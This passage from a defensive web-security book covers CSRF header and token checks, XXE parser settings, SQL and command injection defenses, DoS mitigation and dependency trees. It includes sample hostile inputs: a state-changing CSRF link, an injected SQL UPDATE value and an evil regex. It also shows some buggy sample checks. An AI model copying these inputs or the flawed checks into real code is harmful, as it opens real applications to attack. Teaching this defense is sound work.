erly implemented browser’s referer or origin header has a low chance of being
spoofed.

Origin header
The origin header is only sent on HTTP POST requests. It is a simple header
that indicates where a request originated from. Unlike referer, this header is
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also present on HTTPS requests, in addition to HTTP requests. An origin
header looks like: Origin: https://www.mega-bank.com:80.

Referer header
The referer header is set on all requests, and also indicates where a request ori‐
ginated from. The only time this header is not present is when the referring link
has the attribute rel=noreferer set. A referer header looks like: Referer:
https://www.mega-bank.com:80.

When a POST request is made to your web server—for example, https://www.mega-
bank.com/transfer with params amount=1000 and to_user=123—you can verify
that the location of these headers is the same as your trusted origins from which you
run your web servers. Here is a node implementation of such a check:

const transferFunds = require('../operations/transferFunds');
const session = require('../util/session');

const validLocations = [
 'https://www.mega-bank.com',
 'https://api.mega-bank.com',
 'https://portal.mega-bank.com'
 ];

const validateHeadersAgainstCSRF = function(headers) {
 const origin = headers.origin;
 const referer = headers.referer;
 if (!origin || referer) { return false; }
 if (!validLocations.includes(origin) ||
     !validLocations.includes(referer)) {
       return false;
     }
  return true;
};

const transfer = function(req, res) {
 if (!session.isAuthenticated) { return res.sendStatus(401); }
 if (!validateHeadersAgainstCSRF(req.headers)) { return res.sendStatus(401); }

 return transferFunds(session.currentUser, req.query.to_user, req.query.amount);
};

module.exports = transfer;

Whenever possible, you should check both headers. If neither header is present, it is
safe to assume that the request is not standard and should be rejected.

These headers are a first line of defense, but there is a case where they will fail. Should
an attacker get an XSS on a whitelisted origin of yours, they can initiate the attack
from your own origin, appearing to come from your own servers as a legitimate
request.
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This case is even more worrisome if your website allows user-generated content to be
posted. In this case, validating headers to ensure that they come from your own web
servers may not be beneficial at all. As such, it is best to employ multiple forms of
CSRF defense with header verification being a starting point rather than a full-fledged
solution.

CSRF Tokens
The most powerful form of defense against CSRF attacks is the anti-CSRF token,
often just called a CSRF token (see Figure 23-1). CSRF tokens defend against CSRF
attacks in a very simple way, and can be implemented in a number of ways to fit your
current application architecture with ease. Most major websites rely on CSRF tokens
as their primary defense against CSRF attacks.

Figure 23-1. CSRF tokens, the most effective and reliable method of eliminating cross-site
request forgery attacks

At its core, CSRF token defense works like this:

1. Your web server sends a special token to the client. This token is generated cryp‐
tographically with a very low collision algorithm, which means that the odds of
getting two identical tokens are exceedingly rare. The token can be regenerated
as often as per request, but generally is generated per session.

2. Each request from your web application now sends the token back with it; this
should be sent back in forms as well as AJAX requests. When the request gets to
the server, the token is verified to make sure it is live (not expired), authentic,
and has not been manipulated. If verification fails, the request is logged and fails
as well.
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3. As a result of requests requiring a valid CSRF token, which is unique per session
and unique to each user, CSRF attacks originating from other origins become
extremely difficult to pull off. Not only would the attacker need a live and up-to-
date CSRF token, but they would also now need to target a specific user versus a
large number of users. Furthermore, with token expiration compromised, CSRF
tokens can be dead by the time a user clicks a malicious link—a beneficial side
effect of CSRF tokens as a defensive strategy.

Stateless CSRF Tokens
In the past, especially prior to the rise of REST architecture for APIs, many servers
would keep a record of the clients connected. Because of this, it was feasible for
servers to manage the CSRF tokens for the clients.

In modern web applications, statelessness is often a prerequisite to API design. The
benefits carried by a stateless design cannot be understated. It would not be wise to
change a stateless design to a stateful one just for the sake of adding CSRF tokens.
CSRF tokens can be easily added to stateless APIs, but encryption must be involved.

Much like stateless authentication tokens, a stateless CSRF token should consist of the
following:

• A unique identifier of the user the token belongs to
• A timestamp (which can be used for expiration)
• A cryptographic nonce whose key only exists on the server

Combining these elements nets you a CSRF token that is not only practical but also
consumes fewer server resources than the stateful alternative, as managing sessions
does not scale well compared to a sessionless alternative.

Anti-CRSF Coding Best Practices
There are many methods of eliminating or mitigating CRSF risk in your web applica‐
tion that start at the code or design phase.

Several of the most effective methods are:

• Refactoring to stateless GET requests
• Implementation of application-wide CSRF defenses
• Introduction of request-checking middleware

Implementing these simple defenses in your web application will dramatically reduce
the risk of falling prey to CSRF-targeting hackers.
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Stateless GET Requests
Because the most common and easily distributable CSRF attacks come via HTTP
GET requests, it is important to correctly structure our API calls to mitigate this risk.
HTTP GET requests should not store or modify any server-side state. Doing so leaves
future GET requests or modifications to GET requests open to potential CSRF
vulnerabilities.

Consider the following APIs:

// GET
const user = function(req, res) {
 getUserById(req.query.id).then((user) => {
   if (req.query.updates) { user.update(req.updates); }
   return res.json(user);
 });
};

// GET
const getUser = function(req, res) {
 getUserById(req.query.id).then((user) => {
   return res.json(user);
 });
};

// POST
const updateUser = function(req, res) {
  getUserById(req.query.id).then((user) => {
   user.update(req.updates).then((updated) => {
     if (!updated) { return res.sendStatus(400); }
     return res.sendStatus(200);
   });
 });
};

The first API combines the two operations into a single request, with an optional
update. The second API splits retrieving and updating users into a GET and POST
request, respectively.

The first API can be taken advantage of by CSRF in any HTTP GET (e.g., a link or
image: https://<url>/user?user=123&updates=email:hacker). The second API,
while still an HTTP POST and potentially vulnerable to more advanced CSRF, cannot
be taken advantage of by links, images, or other HTTP GET-style CSRF attacks.

This seems like a simple architecture flaw (modifying state in HTTP GET requests),
and in all honesty it is. But the key point here applies to any and all GET requests that
could potentially modify server-side application state—don’t do it. HTTP GET
requests are at risk by default; the nature of the web makes them much more vulnera‐
ble to CSRF attacks, and you should avoid them for stateful operations.
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Application-Wide CSRF Mitigation
The techniques in this chapter for defending against CSRF attacks are useful, but only
when implemented application wide. As with many attacks, the weakest link breaks
the chain. With careful forethought you can build an application architected specifi‐
cally to protect against such attacks. Let’s consider how to build such an application.

Anti-CSRF middleware
Most modern web server stacks allow for the creation of middleware or scripts that
run on every request, prior to any logic being performed by a route. Such middleware
can be developed to implement these techniques on all of your server-side routes.
Let’s take a look at some middleware that accomplishes just this:

const crypto = require('../util/crypto');
const dateTime = require('../util/dateTime');
const session = require('../util/session');
const logger = require('../util/logger');

const validLocations = [
 'https://www.mega-bank.com',
 'https://api.mega-bank.com',
 'https://portal.mega-bank.com'
 ];

const validateHeaders = function(headers, method) {
  const origin = headers.origin;
  const referer = headers.referer;
  let isValid = false;

  if (method === 'POST') {
    isValid = validLocations.includes(referer) && validLocations.includes(origin);
  } else {
    isValid = validLocations.includes(referer);
  }

  return isValid;
};

const validateCSRFToken = function(token, user) {
  // get data from CSRF token
  const text_token = crypto.decrypt(token);
  const user_id = text_token.split(':')[0];
  const date = text_token.split(':')[1];
  const nonce = text_token.split(':')[2];

  // check validity of data
  let validUser = false;
  let validDate = false;
  let validNonce = false;
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  if (user_id === user.id) { validUser = true; }
  if (dateTime.lessThan(1, 'week', date)) { validDate = true; }
  if (crypto.validateNonce(user_id, date, nonce)) { validNonce = true; }

  return validUser && validDate && validNonce;
};

const CSRFShield = function(req, res, next) {
 if (!validateHeaders(req.headers, req.method) ||
     !validateCSRFToken(req.csrf, session.currentUser) {
     logger.log(req);
     return res.sendStatus(401);
  }

 return next();
};

This middleware can be invoked on all requests made to the server, or individually
defined to run on specific requests. The middleware simply verifies that the origin
and/or referrer headers are correct, and then ensures that the CSRF token is valid. It
returns an error before any other logic is called if either fail; otherwise it moves on to
the next middleware and allows the application to continue execution unaltered.

Because this middleware relies on a client consistently passing a CSRF token to the
server on each request, it would be optimal to replicate such automation on the client
as well. This can be done with a number of techniques. For example, you could use
the proxy pattern to overwrite the XMLHttpRequest default behavior to always include
the token.

Alternatively, you could use a more simple approach that would rely on building a
library for generating requests that would simply wrap the XMLHttpRequest and
inject the correct token, depending on the HTTP verb.

Summary
CSRF attacks can be mitigated for the most part by ensuring that HTTP GET
requests never alter any application state. Further, CSRF mitigations should consider
validating headers and adding CSRF tokens to each of your requests. With these miti‐
gations in place, your users will be able to feel more comfortable entering your web
application from other origins, and face a lower risk of their account permissions
being compromised by a hacker with malicious intent.
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CHAPTER 24

Defending Against XXE

Generally speaking, XXE is indeed easy to defend against—simply disable external
entities in your XML parser (see Figure 24-1). How this is done depends on the XML
parser in question, but is typically just a single line of configuration:

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

XXE is noted by OWASP to be particularly dangerous against Java-based XML pars‐
ers, as many have XXE enabled by default. Depending on the language and parser
you are relying on, it is possible that XXE is disabled by default.

Figure 24-1. XXE attacks can be easily blocked by properly configuring your XML parser

You should always check your XML parser’s API documentation to make sure, and
not just expect it is disabled by default.
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Evaluating Other Data Formats
Depending on your application’s use cases, it may be possible to re-architecture the
application to rely on a different data format rather than XML. This type of change
could simplify the codebase, while eliminating any XXE risk. Typically, XML can be
interchanged with JSON, making JSON the default when looking at other formats.

JSON, on the other hand, would not be practical if your application is parsing actual
XML, SVG, or other XML-derived file types. It would, however, be a practical solu‐
tion if your application is sending standard hierarchical payloads that just happen to
be in XML shape.

Generally speaking, JSON and XML can be compared side-by-side as if they were
direct competitors, as Table 24-1 shows.

Table 24-1. XML versus JSON

Category XML JSON
Payload size Large Compact

Specification complexity High Low

Ease of use Requires complex parsing Simple parsing for JavaScript compatibility

Metadata support Yes No

Rendering (via HTML-like structuring) Easy Difficult

Mixed content Supported Unsupported

Schema validation Supported Unsupported

Object mapping None JavaScript

Readability Low High

Comment support Yes No

Security Lower Higher

The comparison of the two formats could go on for an extensive amount of time, but
you should grasp a few things right off the bat with Table 24-1:

• JSON is a much more lightweight format than XML.
• JSON offers less rigidity, but brings with it faster and easier to work with

payloads.
• JSON maps to JavaScript objects, while XML more closely maps to DOM trees

(as the DOM is an XML-derived format).

From this we can conclude that JSON should be an acceptable alternative for any API
that is dealing with lightweight structured data to be interpreted by JavaScript, while
XML is probably still ideal in any case where the payload will eventually be rendered.
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Because XML has schema validation, it may also be useful for applications where
deeply rigid data structure is required. JSON, on the other hand, is less rigid, making
it perfect for APIs with ongoing development such that the contract between the cli‐
ent and server does not need constant maintenance.

The security risks from XML mostly come from the power of its specification and the
fact that it can incorporate external files and multimedia. As such, it is naturally less
secure than JSON, a format that simply stores key/value pairs in a string-based
format.

If your organization does not like the idea of moving to JSON, YAML, BSON, or
EDN are all suitable alternatives but should require a similar analysis prior to
commitment.

Advanced XXE Risks
It should be noted that XXE attacks often start as read-only attacks, but may progress
into more advanced forms of attack. XXE is a “gateway” attack of sorts as it provides
the attacker with a recon platform that permits them to access data otherwise unac‐
cessible to the world outside of the web server.

Using this data, other parts of the application may be more easily compromised. The
result is that the final impact of an XXE attack can be anywhere from read-only data
access to remote code execution and full server takeovers. This is why XXE attacks
are so incredibly dangerous.

Summary
I believe XXE deserved attention in this book because of how common improperly
configured XML parsers are in production web applications, in addition to how
much risk an external entity attack presents to an organization.

XXE attacks are often easy to mitigate, yet they are still widespread. As a result, it is
imperative to double-check each XML parser configuration prior to publishing any
application that makes use of XML or XML-like data types.

XXE attacks are serious and can cause significant damage to an organization, applica‐
tion, or brand. All precautions should be taken when working with a server-side
XML parser to prevent an accidental XXE vulnerability from slipping into your
codebase.
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CHAPTER 25

Defending Against Injection

Previously we discussed the risk that injection-style attacks bring against web applica‐
tions. These attacks are still common (although more common in the past), typically
as a result of improper attention on the part of the developer writing any type of auto‐
mation involving a CLI and user-submitted data.

Injection attacks also cover a wide surface area. Injection can be used against CLIs or
any other isolated interpreter running on the server (when it hits the OS level, it
becomes command injection instead). As a result, when considering how we will
defend against injection-style attacks, it is easier to break such defensive measures up
into a few categories.

First off, we should evaluate defenses against SQL injection attacks—the most com‐
mon and well-known form of injection. After investigating what we can do to protect
against SQL injection, we can see which of those defenses will be applicable to other
forms of injection attacks. Finally, we can evaluate a few generic methods of defense
against injection that are not specific to any particular subset of injection-based
attack.

Mitigating SQL Injection
SQL injection is the most common form of injection attack, and likewise one of the
easiest to defend against. Since it is so widespread, potentially affecting nearly every
complex web application (due to the prevalence of SQL databases), many mitigations
and countermeasures have been developed against SQL injection.

Furthermore, because SQL injection attacks take place in the SQL interpreter, detect‐
ing such vulnerabilities can be quite simple. With proper detection, and mitigation
strategies in place, the odds of your web application being exposed to SQL injection
attack are quite low.
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Detecting SQL Injection
To prepare your codebase for defense against SQL injection attacks, you should first
familiarize yourself with the form SQL injection takes and the locations in your code‐
base that would be most vulnerable.

In most modern web applications, SQL operations would occur past the server-side
routing level. This means we aren’t too interested in anything on the client.

For example, we have a web application code repository file structure that looks like
this:

/api
  /routes
  /utils
/analytics
  /routes
/client
  /pages
  /scripts
  /media

We know we can skip searching the client, but we should consider the analytics route
because even if it is built on OSS, it likely uses a database of some sort to store the
analytics data. Remember that if data is persisting between devices and sessions, it is
either stored in server-side memory, disk (logs), or in a database.

On the server, we should be aware that many applications make use of more than one
database. This could mean that an application makes use of SQL server and MySQL,
for example. So when searching the server, we need to make use of generic queries so
that we can find SQL queries across multiple SQL language implementations.

Furthermore, some server software makes use of a domain-specific language (DSL),
which could potentially make SQL calls on our behalf, although these calls would not
be structured similarly to a raw SQL call.

To properly analyze an existing codebase for potential SQL injection risks, we need to
compile a list of all the preceding DSL and types of SQL and store it in one place.

If our application is a Node.js app and contains:

• SQL Server—via NodeMSSQL adapter (npm)
• MySQL—via mysql adapter (npm)

then we need to consider structuring searches in our codebase that can find SQL
queries from both SQL implementations.
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Fortunately, the module import system that ships with Node.js makes this easy when
combined with the JavaScript language scope. If the SQL library is imported on a per-
module basis, finding queries becomes as easy as searching for the import:

const sql = require('mssql')
// OR
const mysql = require('mysql');

On the other hand, if these libraries are declared globally, or inherited from a parent
class, the work for finding queries becomes a bit more difficult.

Both of the two aforementioned SQL adapters for Node.js use a syntax that concludes
with a call to .query(x), but some adapters use a more literal syntax:

const sql = require('sql');

const getUserByUsername = function(username) {
  const q = new sql();
  q.select('*');
  q.from('users');
  q.where(`username = ${username}`);
  q.then((res) => {
    return `username is : ${res}`;
  });
};

Prepared Statements
As mentioned earlier, SQL queries have been widespread in the past and are
extremely dangerous. But they are also not very difficult to protect against in most
cases.

One development that most SQL implementations have begun to support is prepared
statements. Prepared statements reduce a significant amount of risk when using user-
supplied data in an SQL query. Beyond this, prepared statements are very easy to
learn and make debugging SQL queries much easier.

Prepared statements are often considered the “first line” of defense
against injection. Prepared statements are easy to implement, well
documented on the web, and highly effective at stopping injection
attacks.

Prepared statements work by compiling the query first, with placeholder values for
variables. These are known as bind variables, but are often just referred to as place‐
holder variables. After compiling the query, the placeholders are replaced with the
values provided by the developer. As a result of this two-step process, the intention of
the query is set before any user-submitted data is considered.
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In a traditional SQL query, the user-submitted data (variables) and the query itself are
sent to the database together in the form of a string. This means that if the user data is
manipulated, it could change the intention of the query.

With a prepared statement, because the intention is set in stone prior to the user-
submitted data being presented to the SQL interpreter, the query itself cannot change.
This means that a SELECT operation against users cannot be escaped and modified
into a DELETE operation by any means. An additional query cannot occur after the
SELECT operation if the user escapes the original query and begins a new one. Pre‐
pared statements eliminate most SQL injection risk and are supported by almost
every major SQL database: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, etc.

The only major trade-off between traditional SQL queries and prepared statements is
that of performance. Rather than one trip to the database, the database is provided
the prepared statement followed by the variables to inject after compilation and at
runtime of the query. In most applications, this performance loss will be minimal.

Syntactically, prepared statements differ from database to database and adapter to
adapter.

In MySQL, prepared statements are quite simple:

PREPARE q FROM 'SELECT name, barCode from products WHERE price <= ?';
SET @price = 12;
EXECUTE q USING @price;
DEALLOCATE PREPARE q;

In this prepared statement, we are querying the MySQL database for products (we
want name and barcode returned) that have a price less than ?.

First, we use the statement PREPARE to store our query under the name q. This query
will be compiled and ready for use. Next, we set a variable @price to 12. This would
be a good variable to have a user set if they were filtering against an ecommerce site,
for example. Then we EXCECUTE the query providing @price to fill the ? placeholder/
bind variable. Finally, we use DEALLOCATE on q to remove it from memory so its
namespace can be used for other things.

In this simple prepared statement, q is compiled prior to being executed with @price.
Even if @price was set equal to 5; UPDATE users WHERE id = 123 SET balance =
10000, the additional query would not fire as it would not be compiled by the data‐
base.

The much less secure version of this query would be:

'SELECT name, barcode from products WHERE price <= ' + price + ';'

As you can clearly see, the precompilation of prepared statements is an essential first
step in mitigating SQL injection and should be used wherever possible in your web
application.

262 | Chapter 25: Defending Against Injection



Database-Specific Defenses
In addition to prepared statements that are widely adopted, each major SQL database
offers its own functions for improving security. Oracle, MySQL, MS SQL, and SOQL
all offer methods for automatically escaping characters and character sets deemed
risky for use in SQL queries. The method by which these sanitizations are decided is
dependent on the particular database and engine being used.

Oracle (Java) offers an encoder that can be invoked with the following syntax:

ESAPI.encoder().enodeForSQL(new OracleCodec(), str);

Similarly, MySQL offers equivalent functionality. In MySQL, the following can be
used to prevent the usage of improperly escaped strings:

SELECT QUOTE('test''case');

The QUOTE function in MySQL will escape backslashes, single quotes, or NULL, and
return a properly single-quoted string.

MySQL also offers mysql_real_escape_string(). This function escapes all of the
preceding backslashes and single quotes, but also escapes double quotes, \n, and \r
(linebreak).

Making use of database-specific string sanitizers for escaping risky character sets
reduces the SQL injection risk by making it harder to write an SQL literal versus a
string. These should always be used if a query is being run that cannot be paramater‐
ized—though they should not be considered a comprehensive defense but instead a
mitigation.

Generic Injection Defenses
In addition to being able to defend against SQL injection, you should also make sure
your application is defended against other less common forms of injection. As we
learned in Part II, injection attacks can occur against any type of command-line util‐
ity or interpreter.

We should be on the lookout for non-SQL injection targets and apply secure-by-
default coding practices throughout our application logic to mitigate the risk of an
unexpected injection vulnerability appearing.

Potential Injection Targets
In Part II, we explored a scenario where video or image compression CLIs could be
used as a potential injection target. But injection is not limited to command-line util‐
ities such as FFMPEG. It extends across any type of script that takes text input and
interprets the text in some type of interpreter or evaluates the text against some list of
commands.

Generic Injection Defenses | 263



Typically, when on the lookout for injection, the following are high-risk targets:

• Task schedulers
• Compression/optimization libraries
• Remote backup scripts
• Databases
• Loggers
• Any call to the HOST OS
• Any interpreter or compiler

When first ranking components of your web application for potential injection risk,
compare them with the preceding list of high-risk targets. Those are your starting
points for investigation.

Dependencies can also be a risk, because many dependencies bring in their own (sub)
dependencies that can often fall into one of those categories.

Principle of Least Authority
The principle of least authority (often called principle of least privilege, which I believe
to be a bit less succinct) is an important abstraction rule that should always be used
when attempting to build secure web applications. The principle states that in any
system, each member of the system should only have access to the information and
resources required to accomplish their job (see Figure 25-1).

Figure 25-1. Using the principle of least authority when designing your web application,
you can reduce the impact of any injection attack that is accidentally introduced

In the world of software, the principle can be applied as such: “each module in a soft‐
ware system should only have access to the data and functionality required for that
module to operate correctly.”
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It sounds simple in theory, but it is seldom applied in large-scale web applications
where it should be. The principle actually becomes more important as an application
scales in complexity, as interactions between modules in a complex application can
bring unintended side effects.

Imagine you are building a CLI that integrates with your web application and auto‐
matically backs up user profile photos. This CLI is called either from the terminal
(manual backups) or through an adapter written in the programming language that
your web application is built in. If this CLI were to be built with the principle of least
authority, then even if the CLI was compromised, the rest of the application would
not be compromised. On the other hand, a CLI running as admin could expose an
entire application server in the case of a rogue injection attack being uncovered and
exploited.

The principle of least authority may seem like a roadblock to developers—managing
additional accounts, multiple keys, etc.—but proper implementation of this principle
will limit the risk your application is exposed to in the case of a breach.

Whitelisting Commands
The biggest risk for injection is a functionality in a web application where the client
(user) sends commands to a server to be executed. This is a bad architectural prac‐
tice, and should be avoided at all costs.

When user-chosen commands need to be executed on a server in any context that
would allow them to create potential damage or alter the state of the application (in
the case of misuse), additional steps are required. Instead of allowing user commands
to be interpreted literally by the server, a well-defined whitelist of user-available com‐
mands should be created. This, in addition to a well-defined acceptable syntax for
commands (order, frequency, params), should be used together, all stored in whitelist
format rather than blacklist format.

Consider the following example:

<div class="options">
 <h2>Commands</h2>
 <input type="text" id="command-list"/>
 <button type="button" onclick="sendCommands()">Send Commands to Server</button>
</div>

const cli = require('../util/cli');

/*
 * Accepts commands from the client, runs them against the CLI.
 */
const postCommands = function(req, res) {
  cli.run(req.body.commands);
};
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In this case, the client is capable of executing any commands against the server that
are supported by the cli library. This means that the cli execution environment and
full scope are accessible to the end user simply by providing commands that are sup‐
ported by the cli, even if they are not intended for use by the developer.

In a more obscure case, perhaps the commands are all allowed by the developer, but
the syntax, order, and frequency can be combined to create unintended functionality
(injection) against the CLI on the server. A quick and dirty mitigation would be to
only whitelist a few commands:

const cli = require('../util/cli');

const commands = [
 'print',
 'cut',
 'copy',
 'paste',
 'refresh'
];

/*
 * Accepts commands from the client, runs them against the CLI ONLY if
 * they appear in the whitelist array.
 */
const postCommands = function(req, res) {
  const userCommands = req.body.commands;
  userCommands.forEach((c) => {
    if (!commands.includes(c)) { return res.sendStatus(400); }
  });
  cli.run(req.body.commands);
};

This quick and dirty mitigation may not resolve issues involving the order or fre‐
quency of the commands, but it will prevent commands not intended for use by the
client or end user to be invoked. A blacklist is not used because applications evolve
over time. Blacklists are seen as a security risk in the case of a new command being
added that would provide the user with unwanted levels of functionality.

When user input MUST be accepted and fed into a CLI, always opt for a whitelist
approach over a blacklist approach.

Summary
Injection attacks are classically attributed to databases, in particular, SQL databases.
But while databases are definitely vulnerable to injection attacks without properly
written code and configuration, any CLI that an API endpoint (or dependency) inter‐
acts with could be a victim of injection.
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Major SQL databases offer mitigations to prevent SQL injection, but SQL injection is
still possible with shoddy application architecture and improperly written client-to-
server code. Introducing the principle of least authority into your codebase will aid
your application in the case of a breach by minimizing damage dealt to your organi‐
zation and your application’s infrastructure. An application architected in a security-
first manner will never allow a client (user) to provide a query or command that will
be executed on the server.

If user input needs to translate into server-side operations, the operations should be
whitelisted so that only a subset of total functionality is available, and only function‐
ality that has been vetted as secure by a responsible security review team.

By using those controls, an application will be much less likely to have injection-style
vulnerabilities.
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CHAPTER 26

Defending Against DoS

DoS attacks usually involve the use of system resources, which can make detecting
them a bit difficult without robust server logging. It can be difficult to detect a DoS
attack that occurred in the past if it came through legitimate channels (such as an API
endpoint).

As such, a first measure against DoS-style attacks should be building up a compre‐
hensive enough logging system in your server that all requests are logged alongside
their time to respond. You should also manually log the performance of any type of
async “job"-style functions, such as a backup that is called through your API but runs
in the background and does not generate a response once it completes. Doing this
will allow you to find any attempts (accidental or malicious) at exploiting a DoS vul‐
nerability (server side) that would have otherwise been difficult and time-consuming.

As discussed earlier, DoS attacks are structured with one or more of the following
results in mind:

• Exhaust server resources
• Exhaust client resources
• Request unavailable resources

The first two are easier to exploit without direct knowledge of the server or client
ecosystem. We need to consider all three of these potential threats when building a
plan for mitigating DoS threats.
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Protecting Against Regex DoS
Regex DoS attacks are likely the easiest form of DoS to defend against, but require
prior knowledge of how the attacks are structured (as shown in Part II of this book).
With a proper code review process, you can prevent regex DoS sinks (evil or mali‐
cious regex) from ever entering your codebase.

You need to look for regex that perform significant backtracing against a repeated
group. These regex usually follow a form similar to (a[ab]*)+, where the + suggests
to perform a greedy match (find all potential matches before returning), and the *
suggests to match the subexpression as many times as possible.

Because regular expressions can be built on this technology, but without DoS risk, it
can be time-consuming and difficult to find all instances of evil regex without false
positives. This is one case where using an OSS tool to either scan your regular expres‐
sions for malicious segments or using a regex performance tester to manually check
inputs could be greatly useful. If you can catch and prevent these regex from entering
your codebase, you have completed the first step toward ensuring your application is
safe from regex DoS.

The second step is to make sure there are no places in your application where a user-
supplied regex is utilized. Allowing user-uploaded regular expressions is like walking
through a minefield and hoping you memorized the safe-route map correctly. It will
take a huge coordinated effort to maintain such a system, and it is generally an all-
around bad idea from a security perspective.

You also want to make sure that no applications you integrate with utilize user-
supplied regex or make use of poorly written regular expressions.

Protecting Against Logical DoS
Logical DoS is much more difficult to detect and prevent than regex DoS. Much like
regex DoS, logical DoS is not exploitable under most circumstances unless your
developers accidentally introduce a segment of logic that can be abused to eat up sys‐
tem resources.

That being said, systems without exploitable logic do not typically fall prey to logical
DoS. However, it is possible because DoS is measured on a scale instead of binary
evaluation, and a well-written app could still be hit by a logical DoS (assuming the
attacker has a huge amount of resources in order to overwhelm the typically perform‐
ant code).

As a result, we should think of exposed functionality in terms of DoS risk—perhaps
high/medium/low. This makes more sense than vulnerable/secure, as DoS relies on
consumption of resources that is difficult to categorize compared to other attacks like
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XSS, which is completely binary. Either you have an XSS exploit or you do not,
period.

With DoS, you may have extremely difficult to exploit code, easy to exploit code, and
some in between. A user on a powerful desktop might not notice an exploitable
client-side function, but perhaps a user on an older mobile device would. Generally
speaking, we call the extremely difficult to exploit code “safe,” and the the other two
categories “vulnerable.” It is safer for us to err on the side of caution while evaluating
the security of an application.

In order to protect against logical DoS, we need to identify the areas of our codebase
in which critical system resources are utilized.

Protecting Against DDoS
Distributed denial of service attacks (DDoS) are much more difficult to defend
against than DoS attacks that originate from a single attacker. While single-target DoS
attacks often target a bug in application code (like an improperly written regex, or a
resource-hogging API call), DDoS attacks are usually much simpler by nature.

Most DDoS attacks on the web originate from multiple sources, but are controlled by
a centralized source. This is orchestrated via a single attacker or group of attackers
who distribute malware by some channel. This malware runs in the background of
legitimate PCs, and may come packaged with a legitimate program. The legitimate
PCs can be controlled remotely due to a backdoor the malware provides, enabling
them to be used en masse to do the hacker’s bidding.

PCs are not the only devices vulnerable to this type of attack. Both mobile devices
and IoT devices (routers, hotspots, smart toasters, etc.) can be targeted, often more
easily than desktop computers.

Regardless of the devices compromised and used in the DDoS attack, the devices en
masse are referred to as a botnet. The word botnet, as you may notice, comprises the
words robot and network, suggesting a network of robots used to do someone’s bid‐
ding (generally for evil).

DDoS attacks usually do not target logic bugs, but instead attempt to overwhelm the
target by sheer volume of legitimate-looking traffic. By doing this, actual users are
kept out, or the application experience for legitimate users is slowed dramatically.

DDoS attacks cannot be prevented, but can be mitigated in a number of ways.
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DDoS Mitigation
The easiest way to defend your web application against a DDoS attack is to invest in a
bandwidth management service. These services are developed by many vendors on
the market, but ultimately perform analysis on each packet as it passes through their
servers. The services run well-established scans on the packet to determine if it
appears to be coming in a malicious pattern or not. If a packet is determined to be
malicious, it will not be forwarded to your web server.

These bandwidth management services are effective because they are capable of inter‐
cepting large quantities of network requests, while your application’s infrastructure
(especially in hobby and small business applications) is likely not.

Additional measures can be implemented in your web application architecture to
mitigate DDoS risk. One common technique is known as blackholing, whereby you
set up a number of servers in addition to a main application server (see Figure 26-1).

Figure 26-1. Blackholing is a strategy for mitigating DDoS attacks against your web
application

Suspicious-looking (or repeated) traffic is sent to a blackhole server, which appears to
function like your application sever, but performs no operations. Legitimate traffic is
routed to your legitimate web application server as usual. Unfortunately, while black
holes are effective at rerouting malicious traffic, they may also reroute legitimate traf‐
fic if not targeted with sufficient accuracy. Blackholes do a good job against small
DDoS attacks, but do not perform well against large-scale DDoS attacks.

With any of these techniques, keep in mind that oversensitive filters will likely block
legitimate traffic as well. Because of this, it is ideal to have deep metrics on the usage
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patterns of your legitimate users prior to implementing any aggressive DDoS mitiga‐
tion measures.

Summary
DoS attacks come via two major archetypes: single attacker (DoS) and multiple
attackers (DDoS).

Most, but not all, DDoS attacks are performed by overwhelming server resources
rather than via bug exploitation. Because of this, countermeasures for DDoS may also
cause difficulty for legitimate users.

Single-attacker DoS attacks, on the other hand, can be mitigated by smart application
architecture that prevents users from being able to take over application resources for
a long period of time.

Regular-expression-based DoS attacks can be mitigated by implementing a static
analysis tool (like a linter) to scan regular expressions in your codebase and warn if
any appear to be “evil” syntactically.

Because of their general ease of exploitation, DoS-style attacks are rampant through‐
out the web. Even if you don’t expect your application to be a target of DoS attacks,
you should implement anti-DoS mitigations once you can afford it just in case you
become a target in the future.
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CHAPTER 27

Securing Third-Party Dependencies

In Part I, “Recon,” we investigated ways of identifying third-party dependencies in a
first-party web application.

In Part II, “Offense,” we analyzed various ways that third-party dependencies are inte‐
grated in a first-party web application. Based on the integration we were able to iden‐
tify potential attack vectors and discuss ways of exploiting such integrations.

Because Part III is all about defensive techniques to stifle hackers, this chapter is all
about protecting your application from vulnerabilities that could arise when integrat‐
ing with third-party dependencies.

Evaluating Dependency Trees
One of the most important things to keep in mind when considering third-party
dependencies is that many of them have their own dependencies. Sometimes these
are called fourth-party dependencies.

Manually evaluating a single third-party dependency that lacks fourth-party depen‐
dencies is doable. Manual code-level evaluation of third-party dependencies is ideal
in many cases.

Unfortunately, manual code reviews don’t scale particularly well, and in many cases it
would be impossible to comprehensively review a third-party dependency that relied
on fourth-party dependencies. Especially if those fourth-party dependencies contain
their own dependencies, and so on.

Third-party dependencies, their dependencies, and the dependencies of those depen‐
dencies (etc., etc.) make up what is known as a dependency tree (see Figure 27-1).
Using the npm ls command in an npm-powered project, you can list an entire
dependency tree out for evaluation. This command is powerful for seeing how many
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dependencies your application actually has, because you may not consider the subde‐
pendencies on a regular basis.

Figure 27-1. An npm dependency tree

Dependency trees are important in software engineering because they allow evalua‐
tion of an overarching application’s code, which can result in dramatic file and mem‐
ory size reduction.

Modeling a Dependency Tree
Consider an application with a dependency tree like this:

Primary Application → JQuery
Primary Application → SPA Framework → JQuery
Primary Application → UI Component Library → JQuery

Being able to model a dependency tree would allow the application to identify that
three parts of the dependency chain rely on JQuery. As a result, JQuery can be impor‐
ted once and used in many places rather than imported three times (resulting in
redundant file and memory storage).

Modeling dependency trees is also important in security engineering. This is because
without proper dependency tree modeling, evaluating each dependency of the first-
party application is quite hard.

In an ideal world, each component in an application that relied on JQuery to function
(like the preceding example) would rely on the same version of JQuery. But in the
real world, that is rarely the case. First-party applications can standardize on depend‐
ency versions, but it is unlikely the first-party application will standardize with the
remainder of the dependency chain. This is because each item in the dependency
chain may rely on functionality or implementation details that differ from version to
version. The philosophy behind when and how to upgrade dependencies also differs
from organization to organization.
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Dependency Trees in the Real World
A real-world dependency tree often looks like the following:

Primary Application v1.6 → JQuery 3.4.0 Primary Application v1.6 → SPA Frame‐
work v1.3.2 → JQuery v2.2.1 Primary Application v1.6 → UI Component Library
v4.5.0 → JQuery v2.2.1

It is very much possible that version 2.2.1 of a dependency has critical vulnerabilities,
while version 3.4.0 does not. As a result, each unique dependency should be evalu‐
ated, in addition to each unique version of each unique dependency. In a large appli‐
cation with a hundred third-party dependencies, this can result in a dependency tree
spanning thousands or even tens of thousands of unique subdependencies and
dependency versions.

Automated Evaluation
Obviously, a large application with a ten thousand-item-long dependency chain
